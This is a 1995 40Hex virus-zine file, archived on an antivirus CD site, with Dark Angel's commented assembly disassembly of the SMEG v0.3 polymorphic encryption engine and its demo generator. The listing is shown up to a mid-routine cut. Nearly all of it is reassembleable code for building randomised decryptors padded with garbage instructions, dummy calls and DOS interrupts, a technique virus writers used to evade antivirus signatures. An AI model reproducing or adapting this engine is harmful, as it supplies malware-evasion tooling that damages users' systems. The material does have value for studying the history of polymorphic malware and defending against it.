home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
SMEGUPD1.ZIP
/
SMGD40HX.TXT
< prev
next >
Wrap
Text File
|
1995-05-19
|
71KB
|
1,554 lines
40Hex Number 14 Volume 5 Issue 1 File 001
SMEG is one of those ubiquitous polymorphism aids which have become fashionable
during the last few years. It was written by the Black Baron of England. It
tends to generate rather large decryptors. The only really interesting feature
is that it has the capability of generating CALL's to garbage subroutines. Note
that there are only a few routines which SMEG chooses from, so this encryption
is more on the level of Whale coupled with garbling. The debug script follows
the disassembly.
Dark Angel
Phalcon/Skism 1995
-------------------------------
; This is the disassembly of a SMEG demonstration program which generates
; snippets of code encrypted with SMEG.
.model tiny
.code
.radix 16
org 100
; Disassembly by Dark Angel of Phalcon/Skism
; for 40Hex #14 Vol 5 Issue 1
workbuffer struc
datasize dw ? ; 00 length of data to crypt
sourceptr dw ? ; 02 pointer to data to crypt
targetptr dw ? ; 04 pointer of where to put crypted data
db ? ; 06 reg0 encryption value
db ? ; 07 reg1 counter register
db ? ; 08 reg2 temporary storage for data
; to be decrypted
db ? ; 09 reg3
db ? ; 0A reg4 (always BP)
db ? ; 0B reg5
db ? ; 0C reg6
db ? ; 0D reg7 pointer register
rng_buffer dw ? ; 0E used by random number generator
cryptval db ? ; 10 encryption value
ptr_offsets dw ? ; 11 XXXX in [bx+XXXX] memory references
loop_top dw ? ; 13 points to top of decryption loop
pointer_patch dw ? ; 15 points to initialisation of pointer
counter_patch dw ? ; 17 points to initialisation of counter
pointer_fixup dw ? ; 19 needed for pointer calculation
crypt_type db ? ; 1B how is it encrypted?
initialIP dw ? ; 1C IP at start of decryptor
lastgarble db ? ; 1E type of the last garbling instr
cJMP_patch dw ? ; 1F conditional jmp patch
CALL_patch dw ? ; 21 CALL patch
nJMP_patch dw ? ; 23 near JMP patch
garbage_size dw ? ; 25 # garbage bytes to append
decryptor_size dw ? ; 27 size of decryptor
last_CALL dw ? ; 29 location of an old CALL patch location
which_tbl dw ? ; 2B which table to use
workbuffer ends
SMEG_demo: jmp enter_SMEG_demo
filename db '0000.COM', 0
prompt db 'SMEG v0.3. Generation Difference Demonstration',0Dh
db 0A,9,' (C) The Black Baron 1994',0Dh,0A,0A,0A
db 'SELECT THE NUMBER OF GENERATIONS:',0Dh,0A,0A
db '1 -- 10 Generations',0Dh,0A
db '2 -- 100 ""',0Dh,0A
db '3 -- 1000 ""',0Dh,0A
db '4 -- 10000 "" (Large HD`s Only!!)$'
_10 db ' 10 $'
_100 db ' 100 $'
_1000 db ' 1000 $'
_10000 db ' 10000 $'
generating db 0Dh,0A,0A,0A,'Generating$'
please_wait db 'Executable .COM Generations, Please Wait...$'
checkdiff db 0Dh,0A,0A
db 'DONE! Now examine each, and'
db ' note how different they are!',0Dh,0A,0A,7,'$'
diskerror db 0Dh,0A,0A,'SORRY! A disk error has occurred!'
db 0Dh,0A,0A,7,'$'
num2gen dw 10d, offset _10
dw 100d, offset _100
dw 1000d, offset _1000
dw 10000d, offset _10000
enter_SMEG_demo:mov ax,3 ; set video mode to standard
int 10 ; text mode (clear screen, too)
mov dx,offset prompt ; display prompt
mov ah,9
int 21
inputloop: mov ax,0C07 ; clear keyboard buffer & get
int 21 ; keystroke
cmp al,'1' ; must be between 1 and 4
jb inputloop
cmp al,'4'
ja inputloop
sub al,'1' ; normalise
xor ah,ah ; and find out how many files
add ax,ax ; we should generate
add ax,ax
add ax,offset num2gen
xchg bx,ax
push bx
mov dx,offset generating
mov ah,9 ; display string
int 21
pop bx ; display num to generate
mov cx,[bx]
push cx
mov dx,[bx+2]
int 21
mov dx,offset please_wait ; display string again
int 21
pop cx
gen_file_loop: push cx
mov bp,offset data_area ; set up SMEG registers
mov di,offset target_area
mov dx,offset carrier
mov cx,offset end_carrier - offset carrier
mov ax,100 ; COM files start exec @ 100
call SMEG ; encrypt the carrier file
mov ah,5Bh ; create new file
mov dx,offset filename
xor cx,cx
int 21
jnc created_file
print_error_exit:
call print_error
exit_error: pop cx
mov ax,4CFF ; terminate errorlevel -1
int 21
created_file: xchg bx,ax
mov ah,40 ; write decryptor
mov cx,[bp.decryptor_size]
mov dx,offset target_area
int 21
jnc write_rest
close_exit: call print_error
mov ah,3E ; close file
int 21
jmp short exit_error
write_rest: call encrypt ; encrypt the code
mov ah,40 ; the write the result to the
mov cx,[bp.datasize] ; file
mov dx,offset target_area
int 21
jc close_exit
call generate_garbage ; create garbage
mov ah,40 ; append it to the file
int 21
jc close_exit
mov ah,3E ; close file
int 21
jc print_error_exit
mov bx,offset filename+3 ; calculate next file name
mov cx,4
inc_fname: inc byte ptr [bx]
cmp byte ptr [bx],3A
jb increment_done
sub byte ptr [bx],0A
dec bx
loop inc_fname
increment_done: pop cx
loop gen_file_loop
mov dx,offset checkdiff ; display string
mov ah,9
int 21
mov ax,4C00 ; exit errorlevel 0
int 21
print_error: mov dx,offset diskerror ; display error message
mov ah,9
int 21
retn
carrier: call enter_carrier
db 0Dh,0A,'This was decrypted with a SMEG v0.3 generated'
db ' decryptor!',0Dh,0A,'$'
enter_carrier: pop dx
mov ah,9 ; print string
int 21
mov ax,4c00 ; terminate
int 21
end_carrier:
; SMEG code begins here
SMEG: mov [bp.datasize],cx ; save length to crypt
mov [bp.sourceptr],dx ; save offset to data to crypt
mov [bp.targetptr],di ; save offset to where to put crypted stuff
push bx si
mov bx,bp
db 83,0C3,06 ; add bx,6
mov cx,2Dh ; clear the work area with 0's
; the above line is buggy. it should read: mov cx,2Dh-6
push bx
clear_dataarea: mov [bx],ch
inc bx
loop clear_dataarea
mov [bp.initialIP],ax ; store initial IP
call rnd_init
mov bx,offset use_regs_tbl
call rnd_get
and al,1F
xlat
pop bx
mov cx,4
fill_registers:
xor dl,dl ; fill in which registers
rcl al,1 ; do which job
rcl dl,1
rcl al,1
rcl dl,1
mov [bx],dl
inc bx
loop fill_registers
mov byte ptr [bx],5 ; use BP as a garbling register
inc bx
inc bx
call rnd_get
rol al,1 ; get top bit of al
and al,1 ; to select between
add al,6 ; si and di for ptr
mov [bx],al ; register
xor al,1 ; flip to the other one
cmp byte ptr [bx-3],3 ; is it BX?
jne is_not_bx
mov [bx-3],al
mov al,3
is_not_bx: mov [bx+1],al
mov al,[bx-3]
mov [bx-1],al
gen_cryptval: call rnd_get
xor al,ah
jz gen_cryptval
mov [bp.cryptval],al ; store encryption value
call rnd_get ; get a random value for the
or al,1 ; offset of memory references,
mov [bp.ptr_offsets],ax ; i.e. the XXXX in [bp+XXXX]
call rnd_init ; generate a random number
and ax,3FF ; from 80 to 47F to be the
add ax,80 ; number of garbage bytes to
mov [bp.garbage_size],ax ; add
; the next block serves no purpose. but it is a valid text string...
xor ax,ax ; 3?SMEG????
add al,53 ; where ? stands for an upper
dec bp ; ASCII character
inc bp
inc di
add al,0AE
cld
sub di,ax
call rnd_get ; do the following from
and ax,3 ; 3 to 7 times
add al,3
xchg cx,ax
begin_garble: push cx
call garble_more
call rnd_get
cmp al,8C
jbe no_int21
and ax,3 ; encode a dummy int 21
add ax,offset int21fcns ; call
xchg si,ax
mov ah,0B4
lodsb
xchg ah,al
stosw
mov ax,21CDh ; encode int 21
stosw
no_int21: pop cx
loop begin_garble
mov al,0E8 ; encode a CALL
stosb
push di ; write garbage for offset
stosw ; of call for now
call garble_more ; encode some garbage
mov al,0E9 ; encode a JMP
stosb
pop bx
push di
stosw
push di
pop ax
dec ax
dec ax
sub ax,bx
mov [bx],ax ; patch CALL to point to
; space past the JMP where we
call garble_more ; encode a garbage subroutine
mov al,0C3 ; encode a RETN
stosb
pop bx
push di
pop ax
dec ax
dec ax
sub ax,bx
mov [bx],ax ; Make JMP go past subroutine
call encode_routine ; encode the routine!
mov si,bp
db 83,0C6,08 ; add si,8 ; default to using data temp
; storage register to return
; to top of loop
and al,al ; check return code of routine
jnz how_to_top
dec si ; if 0, instead use encryption
dec si ; value register to return
how_to_top: mov al,75 ; encode JNZ
stosb
inc di
push di
call garble_some
pop bx
mov al,0E9 ; encode a JMP
stosb
push di
inc di ; skip the offset for now
inc di
mov ax,di
sub ax,bx
mov [bx-1],al ; patch the JNZ
call garble_some
call rnd_get
and ax,3 ; first entry requires
add ax,ax ; no register setup, so
jz no_setup ; jmp past it
push ax
mov al,0B8
or al,[si] ; MOV word-reg, XXXX
stosb
mov ax,[bp.loop_top]
sub ax,[bp.targetptr]
add ax,[bp.initialIP]
stosw
call garble_some
pop ax
no_setup: add ax,offset jmp_table
xchg bx,ax
call word ptr [bx] ; encode method of returning
stosw ; to the top of the loop
pop bx
mov ax,di
sub ax,bx
dec ax
dec ax
mov [bx],ax
call garble_more
pad_paragraph: mov ax,di ; pad the decryptor out to the
sub ax,[bp.targetptr] ; nearest paragraph
and al,0F ; do we need to?
jz padded ; no, we are done
cmp al,0C ; otherwise, still a lot to go?
ja one_byte_pad ; no, do one byte at a time
call not_branch_garble ; else do a nonbranching
jmp short pad_paragraph ; instruction
one_byte_pad: call rnd_get ; do a random one byte padding
call do_one_byte ; instruction
jmp short pad_paragraph
padded: mov ax,di
sub ax,[bp.targetptr]
mov [bp.decryptor_size],ax
add ax,[bp.initialIP]
mov cx,[bp.pointer_fixup]
sub ax,cx
mov bx,[bp.pointer_patch]
mov [bx],ax
mov bl,[bp.crypt_type] ; get encryption type so
mov cl,3 ; the initial value of the
ror bl,cl ; counter can be calculated
db 83,0E3,0F ; and bx,0F
add bx,offset counter_init_table
mov ax,[bp.datasize]
call word ptr [bx]
mov bx,[bp.counter_patch] ; patch the value of the
mov [bx],ax ; counter as needed
pop si bx
retn
generate_garbage:
mov cx,[bp.garbage_size] ; write random bytes
mov di,[bp.targetptr] ; to the target location
push cx di
random_gen: call rnd_get
stosb
loop random_gen
pop dx cx
retn
write_table dw offset write_nothing
dw offset write_cryptval
dw offset write_pointer_patch
dw offset write_counter_patch
dw offset write_ptr_offset
dw offset write_dl
; In the following table, each pair of bits represents a register
; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx
use_regs_tbl: db 00011011b ; ax cx dx bx
db 11000110b ; bx ax cx dx
db 10110001b ; dx bx ax cx
db 01101100b ; cx dx bx ax
db 11100100b ; bx dx cx ax
db 00111001b ; ax bx dx cx
db 01001110b ; cx ax bx dx
db 10010011b ; dx cx ax bx
db 01001011b ; cx ax dx bx
db 11010010b ; bx cx ax dx
db 10110100b ; dx bx cx ax
db 00101101b ; ax dx cx bx
db 11100001b ; bx dx ax cx
db 01111000b ; cx bx dx ax
db 00011110b ; ax cx bx dx
db 10000111b ; dx ax cx bx
db 00100111b ; ax dx cx bx
db 11001001b ; bx ax dx cx
db 01110010b ; cx bx ax dx
db 10011100b ; dx cx bx ax
db 11011000b ; dx ax bx cx
db 00110110b ; ax bx cx dx
db 10001101b ; bx cx dx ax
db 01100011b ; cx dx ax bx
db 11100100b ; bx dx cx ax
db 00101101b ; ax dx cx bx
db 00100111b ; ax dx cx bx
db 00011110b ; ax cx bx dx
db 11000110b ; bx ax cx dx
db 10000111b ; bx cx ax dx
db 11010010b ; cx bx ax dx
db 01110010b ; cx bx ax dx
onebyte_table: dec ax
inc ax
clc
cld
cmc
stc
inc ax
dec ax
; high byte holds the opcode, low byte holds the second byte of the
; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
; byte hold the maximum amount to add to the high byte in creating the
; instruction. This allows one word to generate more than one instruction,
; including the byte or word forms of the instructions
; note that this is reverse of what will be actually stored
garble_table: dw 80F1 ; XOR reg, XXXX
dw 3201 ; XOR reg, [reg]
dw 0F6C1 ; TEST reg, XXXX
dw 8405 ; TEST/XCHG reg, [reg]
dw 80E9 ; SUB reg, XXXX (2 diff encodings)
dw 2A01 ; SUB reg, [reg]
dw 0D0EBh ; SHR reg, 1
dw 1A01 ; SBB reg, [reg]
dw 80D9 ; SBB reg, XXXX
dw 80D1 ; ADC reg, XXXX
dw 0D0FBh ; SAR reg, 1/CL
dw 0D0E3 ; SHL reg, 1/CL
dw 0D0CBh ; ROR reg, 1/CL
dw 0D0C3 ; ROL reg, 1/CL
dw 8405 ; TEST/XCHG reg, [reg]
dw 0D0DBh ; RCR reg, 1/CL
dw 0C6C1 ; MOV reg, XXXX
dw 080C9 ; OR reg, XXXX
dw 0A01 ; OR reg, [reg]
dw 0F6D1 ; NOT reg
dw 0F6D9 ; NEG reg
dw 8A01 ; MOV reg, [reg]
dw 0C6C1 ; MOV reg, XXXX
dw 0201 ; ADD reg, [reg]
dw 80C1 ; ADD reg, XXXX
dw 80FDh ; CMP reg, XXXX
dw 3807 ; CMP reg, [reg] (2 diff encodings)
dw 80E1 ; AND reg, XXXX
dw 0D0D3 ; RCL reg, 1/CL
dw 2201 ; AND reg, [reg]
dw 1201 ; ADC reg, [reg]
dw 8A01 ; MOV reg, [reg]
int21fcns db 19,2A,2C,30
counter_init_table:
dw offset counterinit0
dw offset counterinit1
dw offset counterinit2
dw offset counterinit3
dw offset counterinit4
dw offset counterinit5
dw offset counterinit6
dw offset counterinit7
encode_table dw offset use_as_is
dw offset fill_mod_field
dw offset fill_field
dw offset fill_reg_reg1
dw offset fill_reg_field
dw offset fill_mod_n_reg
dw offset fill_reg_reg2
encode_tbl1: db 8,8C,0,0C8,4,0 ; 1 MOV reg0, CS
db 8,8E,0,0D8,4,0 ; 2 MOV DS, reg0
db 7,0B8,4,-1,0,2 ; 3 MOV reg7,initial pointer
db 1,0B8,4,-1,0,3 ; 4 MOV reg1,initial counter
db 57,8A,0,80,5,4 ; 5 MOV reg2,[reg7+offset]
db 57,88,0,80,5,4 ; 6 MOV [reg7+offset],reg2
db 2,80,0,0F0,4,1 ; 7 XOR reg2,cryptvalue
db 11,8Bh,0,0C0,5,0 ; 8 MOV reg2,reg1
db 78,30,0,0,6,0 ; 9 XOR [reg7],reg0
db 47,0F6,0,98,4,4 ; A NEG [reg7+offset]
db 47,0F6,0,90,4,4 ; B NOT [reg7+offset]
db 7,40,4,-1,0,0 ; C INC reg7
db 1,48,4,-1,0,0 ; D DEC reg1
db 8,0B0,4, -1,0,1 ; E MOV reg0,cryptval
db 10,33,0,0C0,5,0 ; F XOR reg2,reg0
encode_tbl2: db 47,86,0,80,5,4 ; 1 XCHG reg0,[reg7+offset]
db 8,40,4,-1,0,0 ; 2 INC reg0
db 8,48,4,-1,0,0 ; 3 DEC reg0
db 7,81,0,0C0,4,15 ; 4 ADD reg7,1
db 1,81,0,0E8,4,15 ; 5 SUB reg1,1
db 10,2,0,0C0,5,0 ; 6 ADD reg2,reg0
db 10,2A,0,0C0,5,0 ; 7 SUB reg2,reg0
db 47,0FBh,4,0B0,4,4 ; 8 PUSH [reg7+offset]
db 47,8F,0,80,4,4 ; 9 POP [reg7+offset]
db 8,50,4,-1,0,0 ; A PUSH reg0
db 8,58,4,-1,0,0 ; B POP reg0
db 10,87,0,0C0,5,0 ; C XCHG reg2,reg0
db 2,40,4,-1,0,0 ; D INC reg2
db 8,8Bh,0,0C0,5,0 ; E MOV reg1,reg0
db 9,23,0,0C0,5,0 ; F AND reg1,reg1
routine4: db 10
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg1,initial counter (4)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; INC reg0 (02)
; MOV [reg7+offset],reg2 (6)
; INC reg7 (C)
; DEC reg1 (D)
; done (-1)
db 13,24,0EF,05,0F0,26,0CDh,-1
routine8: db 71
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg0,encryption value (E)
; beginning of loop (0)
; DEC reg1 (D)
; NEG [reg7+offset] (A)
; DEC reg1 (D)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; DEC reg0 (03)
; ADD reg7,1 (04)
; SUB reg1,1 (05)
; DEC reg0 (03)
; SUB reg1,1 (05)
; done (-1)
db 34,12,0EE,0Dh,0ADh,5F,60,30,40,50,30,50,-1
routine1: db 42
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; XCHG reg2,reg0 (0C)
; MOV reg0,encryption value (E)
; MOV reg0,encryption value (E)
; XCHG reg2,reg0 (0C)
; MOV DS,reg0 (2)
; beginning of loop (0)
; XCHG reg0,[reg7+offset] (01)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; MOV reg2,reg1 (8)
; MOV reg2,reg1 (8)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; DEC reg0 (03)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; ADD reg7,1 (04)
; AND reg1,reg1 (0F)
; done (-1)
; return code 0 (0)
db 43,10,0CE,0E0,0C2,0,1F,68,80,0D0,0D0,0D0,30,0C0,0E0,40
db 0F0,-1,0
routineC: db 33
; MOV reg0,CS (1)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg7,initial pointer (3)
; MOV reg0,encryption value (E)
; MOV reg0,encryption value (E)
; beginning of loop (0)
; DEC reg1 (D)
; DEC reg1 (D)
; NOT [reg7+offset] (B)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; XOR reg2,reg0 (F)
; INC reg7 (C)
; INC reg0 (02)
; INC reg0 (02)
; XOR reg2,reg0 (F)
; done (-1)
db 14,23,0EE,0Dh,0DBh,5F,6F,0C0,20,20,0F0,-1
routineE: db 64
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg7,initial pointer (3)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; XOR [reg7],reg0 (9)
; MOV reg2,reg1 (8)
; XCHG reg2,reg0 (0C)
; INC reg0 (02)
; INC reg2 (0D)
; INC reg0 (02)
; ADD reg7,1 (04)
; INC reg0 (02)
; INC reg0 (02)
; MOV reg1,reg0 (0E)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; AND reg1,reg1 (0F)
; done (-1)
db 41,2E,3F,9,80,0C0,20,0D0,20,40,20,20,0E0,0D0,0C0,0F0,-1
routine2: db 5
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; DEC reg1 (D)
; XOR reg2,encryption value (7)
; PUSH reg0 (0A)
; PUSH [reg7+offset] (08)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; POP reg0 (0B)
; PUSH reg0 (0A)
; SUB reg2,reg0 (07)
; MOV [reg7+offset],reg2 (6)
; INC reg7 (C)
; MOV reg2,reg1 (8)
; MOV reg2,reg1 (8)
; INC reg2 (0D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; POP reg0 (0B)
; INC reg0 (02)
; AND reg1,reg1 (0F)
; done (-1)
db 13,42,0EF,0Dh,70,0A0,80,0B0,0C0,0B0,0A0,76,0C8,80,0D0
db 0D0,0C0,0E0,0B0,20,0F0,-1
routineF: db 56
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; beginning of loop (0)
; MOV reg2,[reg7+offset] (5)
; INC reg2 (0D)
; ADD reg2,reg0 (06)
; MOV [reg7+offset],reg2 (6)
; MOV reg2,reg1 (8)
; DEC reg0 (03)
; XOR reg2,reg0 (F)
; DEC reg1 (D)
; INC reg7 (C)
; DEC reg1 (D)
; done (-1)
db 34,12,2E,5,0D0,66,80,3F,0DC,0D0,-1
routine9: db 27
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; XOR [reg7],reg0 (9)
; XOR reg2,reg0 (F)
; ADD reg7,1 (04)
; PUSH reg0 (0A)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; POP reg0 (0B)
; DEC reg0 (03)
; AND reg1,reg1 (0F)
; done (-1)
db 41,32,0EF,9,0F0,40,0A8,0D0,0D0,0D0,0C0,0E0,0B0,30,0F0
db -1
routine7: db 32
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XCHG reg2,reg0 (0C)
; beginning of loop (0)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; POP reg0 (0B)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; DEC reg0 (03)
; XCHG reg2,reg0 (0C)
; ADD reg7,1 (04)
; DEC reg1 (D)
; done (-1)
; return code 0 (0)
db 41,32,0E0,0C0,8,0D0,0BF,60,30,0C0,4Dh,-1,0
routine5: db 11
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; NEG [reg7+offset] (A)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; DEC reg1 (D)
; DEC reg0 (03)
; DEC reg0 (03)
; XCHG reg2,reg0 (0C)
; XCHG reg0,[reg7+offset] (01)
; XCHG reg2,reg0 (0C)
; ADD reg7,1 (04)
; AND reg1,reg1 (0F)
; done (-1)
db 43,12,0EF,0A,5F,0D0,30,30,0C0,10,0C0,40,0F0,-1
routineB: db 66
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; PUSH reg0 (0A)
; PUSH [reg7+offset] (08)
; MOV reg2,reg1 (8)
; MOV reg2,reg1 (8)
; XCHG reg2,reg0 (0C)
; INC reg0 (02)
; INC reg0 (02)
; INC reg0 (02)
; INC reg0 (02)
; MOV reg1,reg0 (0E)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; POP reg0 (0B)
; ADD reg2,reg0 (06)
; PUSH reg0 (0A)
; XCHG reg2,reg0 (0C)
; PUSH reg0 (0A)
; POP [reg7+offset] (09)
; POP reg0 (0B)
; DEC reg0 (03)
; INC reg7 (C)
; XOR reg2,reg0 (F)
; AND reg1,reg1 (0F)
; done (-1)
db 31,42,0EF,0,0A0,88,80,0C0,20,20,20,20,0E0,0B0,0C0,0B0
db 60,0A0,0C0,0A0,90,0B0,3C,0F0,0F0,-1
routine3: db 4
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg2,reg1 (8)
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; beginning of loop (0)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; XCHG reg2,reg0 (0C)
; XOR [reg7],reg0 (9)
; INC reg7 (C)
; INC reg0 (02)
; INC reg0 (02)
; AND reg1,reg1 (0F)
; done (-1)
db 12,0E8,43,8,0D0,0D0,0C0,0E0,0C9,0C0,20,20
db 0F0,-1
routineD: db 73
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg1,initial counter (4)
; beginning of loop (0)
; DEC reg1 (D)
; DEC reg1 (D)
; DEC reg1 (D)
; NOT [reg7+offset] (B)
; PUSH reg0 (0A)
; PUSH [reg7+offset] (08)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; POP reg0 (0B)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; INC reg0 (02)
; ADD reg7,1 (04)
; INC reg0 (02)
; SUB reg1,1 (05)
; done (-1)
db 31,42,0E4,0Dh,0DDh,0B0,0A0,80,0B0,0C0,0BF,60,20,40,20
db 50,-1
routine0: db 20
; MOV reg0,encryption value (E)
; XCHG reg2,reg0 (0C)
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg1,initial counter (4)
; beginning of loop (0)
; XCHG reg0,[reg7+offset] (01)
; XCHG reg2,reg0 (0C)
; XOR reg2,reg0 (F)
; DEC reg1 (D)
; XCHG reg2,reg0 (0C)
; XCHG reg0,[reg7+offset] (01)
; XCHG reg2,reg0 (0C)
; MOV reg2,reg1 (8)
; INC reg7 (C)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg0 (02)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; AND reg1,reg1 (0F)
; done (-1)
; return code 0 (0)
db 0E0,0C1,32,40,0,10,0CF,0D0,0C0,10,0C8,0C0,0D0,0D0,0D0
db 20,0C0,0E0,0F0,-1,0
routine6: db 55
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg7,initial pointer (3)
; beginning of loop (0)
; MOV reg2,[reg7+offset] (5)
; DEC reg1 (D)
; SUB reg2,reg0 (07)
; INC reg0 (02)
; SUB reg1,1 (05)
; MOV [reg7+offset],reg2 (6)
; INC reg7 (C)
; DEC reg1 (D)
; done (-1)
db 43,12,0E3,5,0D0,70,20,56,0CDh,-1
routineA: db 47
; MOV reg0,encryption value (E)
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; XCHG reg2,reg0 (0C)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; beginning of loop (0)
; PUSH [reg7+offset] (08)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; DEC reg0 (03)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; ADD reg7,1 (04)
; AND reg1,reg1 (0F)
; done (-1)
; return code 0 (0)
db 0E3,40,0C1,20,0,80,0B0,0CF,68,0D0,30,0D0,0D0,0D0,0C0
db 0E0,40,0F0,-1,0
crypt_table dw offset crypt0
dw offset crypt1
dw offset crypt2
dw offset crypt3
dw offset crypt4
dw offset crypt5
dw offset crypt6
dw offset crypt7
jmp_table dw offset jmp0
dw offset jmp1
dw offset jmp2
dw offset jmp3
routine_table: dw offset routine0
dw offset routine1
dw offset routine2
dw offset routine3
dw offset routine4
dw offset routine5
dw offset routine6
dw offset routine7
dw offset routine8
dw offset routine9
dw offset routineA
dw offset routineB
dw offset routineC
dw offset routineD
dw offset routineE
dw offset routineF
encrypt: cld
push bx si
mov bl,[bp.crypt_type] ; get encryption type
db 83,0E3,0F ; and bx,0F
add bx,bx
add bx,offset crypt_table ; convert to offset
mov di,[bp.targetptr] ; set up loop
mov si,[bp.sourceptr]
mov cx,[bp.datasize]
mov dl,[bp.cryptval]
encrypt_byte: lodsb
call word ptr [bx]
stosb
loop encrypt_byte
pop si bx
retn
crypt0: xor al,dl
inc dl
retn
crypt2: xor dl,al
mov al,dl
dec dl
retn
crypt3: not al
crypt4: xor al,dl
inc dl
inc dl
retn
crypt1: xor al,dl
neg al
dec dl
dec dl
retn
crypt5: add al,dl
inc dl
retn
crypt6: sub al,dl
dec dl
retn
crypt7: xor al,dl
dec dl
retn
counterinit0: neg ax
counterinit1: retn
counterinit2: neg ax
counterinit3: add ax,ax
retn
counterinit4: neg ax
counterinit5: mov cx,ax
add ax,ax
add ax,cx
retn
counterinit6: neg ax
counterinit7: add ax,ax
add ax,ax
retn
jmp0: mov al,0E9 ; encode a JMP
stosb ; (with word offset)
mov ax,di ; calculate offset to
sub ax,[bp.loop_top] ; top of decryption loop
inc ax ; adjust for jmp instruction
inc ax
neg ax ; adjust for going back instead
retn ; of forwards
jmp1: mov ax,0E0FF ; encode JMP register
or ah,[si]
retn
jmp2: mov ax,0C350 ; encode PUSH/RETn
jmpXdone: or al,[si]
retn
jmp3: mov al,0E ; encode PUSH CS
stosb
call garble_some ; garble a bit
mov ax,0CB50 ; encode PUSH reg/RETN
jmp short jmpXdone
encode_routine: call rnd_get ; pick a random routine
mov bx,offset routine_table ; to use
and ax,0F
add ax,ax
add bx,ax
mov si,[bx]
lodsb ; get the first byte
mov [bp.crypt_type],al ; and save it
jmp short encode_routine2 ; keep going...
encode_it: lodsb ; get the next byte
cmp ah,-1 ; are we done?
je use_as_is ; if so, exit
xor bh,bh ; convert AL to
add al,al ; offset in encode_table
mov bl,al
add bx,offset encode_table
mov al,dh
mov cx,3
call word ptr [bx] ; call the routine
xchg ah,al
stosb ; write the resulting byte
use_as_is: retn
fill_mod_field: ror al,cl
fill_field: and al,7 ; get the register # al
mov bx,bp
db 83,0C3,06 ; add bx,6
xlat
rol al,cl
and cl,cl ; encoding rm or reg?
jnz not_memory ; branch if doing rm
test dh,40 ; memory access?
jz not_memory
cmp al,3 ; using bx?
jne not_BX
mov al,7 ; change it to di
jmp short not_memory
not_BX: cmp al,6 ; is it si?
jb not_memory
sub al,2 ; change it to double register
not_memory: or ah,al
retn
